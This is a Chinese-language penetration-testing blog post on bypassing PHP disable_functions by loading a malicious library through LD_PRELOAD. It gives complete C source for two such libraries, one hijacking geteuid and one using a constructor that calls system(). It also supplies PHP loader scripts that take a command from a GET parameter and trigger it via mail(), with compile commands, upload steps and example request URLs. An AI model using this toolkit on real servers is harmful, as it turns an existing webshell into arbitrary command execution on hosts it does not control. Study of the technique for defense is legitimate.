利用Linux LD_PRELOAD加载自定义的动态链接库Bypass disable_functions
事先声明,本文摘自 “酒仙桥六号部队” 的公众号 “奇怪的PHP知识增加了” 文章。本人本着学习的态度,跟着作者的思路自己操作了一遍,发现其中的缺陷,因此作此记录。如有冒犯/侵权,请私信,本人立马进行删除。
原文链接:https://mp.weixin.qq.com/s/BiBSwt8JO99JnCfK1pMjJw
熟悉Linux系统的同学们都清楚Linux LD_PRELOAD的作用,它的加载优先级最高,可以用来覆盖正常的函数库。对于此概念,原文已描述的很清楚,这里不赘述。进入主题:
0x01 利用mail函数劫持getuid()
利用条件
- 目标服务器是Linux操作系统;
- Linux系统安装并启用了sendmail程序;
- /usr/sbin/目录下存在sendmail软连接;
- error_log()和mail()函数没有被禁用;
(Tips:在渗透实战环境下,以上条件很多是无可得知的,所以只能进行盲打。)
利用原理
PHP的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail、/usr/sbin/postdrop,而/usr/sbin/sendmail会调用getuid()。那么我们通过LD_PRELOAD劫持getuid函数,然后调用mail函数执行我们生成的恶意函数库中的getuid函数。
利用方法
从实战渗透的角度出发,此时已获得webshell,但是无法执行命令,所以要先在自己的Linux VPS上创建attack.c文件并进行编译。attack.c文件内容如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
编译attack.c文件,生成attack.so动态链接库,用以下命令:
gcc -shared -fPIC attack.c -o attack.so
再创建getuid.php文件,内容如下:(内容我在原文的基础上做了少许删除,个人对输出的注释部分觉得冗余,所以删了。)
<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>Display</b>: " . nl2br(file_get_contents($out_path))
. "</p>";
unlink($out_path);
?>
将attack.so、getuid.php文件上传至目标服务器
可以看到attack.so文件没有执行权限,所以要修改其权限为0755。
访问 http://8.129.237.254/getuid.php?cmd=hostname&outpath=/tmp/yy&sopath=/www/admin/localhost_80/wwwroot/html/attack.so
(PS:师傅们不要乱来,之所以不打码,是因为这是我的测试服务器,我这就关机去。)
疑问一: outpath参数的值是/tmp/yy,yy文件夹是我在测试服务器上创建的,但是在实战渗透环境,无法执行命令的情况下是进行不了此操作的。如果这里的值更改为/tmp,则会报错 " unlink(/tmp): Permission denied in /www/admin/localhost_80/wwwroot/getuid.php on line 11 "
根据报错提示,是因为权限不足导致。那么又尝试将outpath参数的值改为WEB目录,则会报错 " unlink(/www/admin/localhost_80/wwwroot/): Is a directory in /www/admin/localhost_80/wwwroot/getuid.php on line 11 "
上面的不回显以及警告提示,我不知道是什么原因导致,希望知道的师傅们指点一下。截至目前的测试现象,个人认为此姿势在实战渗透环境下显得很鸡肋。
0x02 劫持启动函数
利用条件
- 目标服务器是Linux操作系统;
利用原理
上面的方法需要通过LD_PRELOAD劫持一个系统函数来实现RCE,如果sendmail函数被禁用了呢?如果能找到一个方式在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。而C++ 的构造函数就是如此。(摘自原文)
利用方法
同上,先在自己的Linux VPS上创建bypass_disablefunc.c文件并进行编译。bypass_disablefunc.c文件内容如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '0';
}
}
// executive command
system(cmdline);
}
编译bypass_disablefunc.c文件,生成bypass_disablefunc.so动态链接库,用以下命令:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
再创建bypass_disablefunc.php文件,内容如下:(内容我在原文的基础上做了少许删除,个人对输出的注释部分觉得冗余,所以删了。)
<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>Display</b>: <br />" . nl2br(file_get_contents($out_path))
. "</p>";
unlink($out_path);
?>
将bypass_disablefunc.so、bypass_disablefunc.php文件上传至目标服务器,并修改bypass_disablefunc.so文件权限为0755。
访问 http://8.129.237.254/bypass_disablefunc.php?cmd=hostname&outpath=/tmp/yy&sopath=/www/admin/localhost_80/wwwroot/html/bypass_disablefunc.so
此姿势因为/tmp/yy目录的原因,个人同样觉得很鸡肋。毕竟在无法执行命令之前,无法创建到/tmp/yy目录。如果能创建/tmp/yy目录,也没必要做此操作了,还不如直接想办法提高权限。我不清楚这里为什么只有用/tmp/yy目录就可以正常回显,其它目录就不行。如果outpath的值设置为WEB目录也可以有回显,那么此姿势就不鸡肋了。望师傅指点一二。
此姿势原出处:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD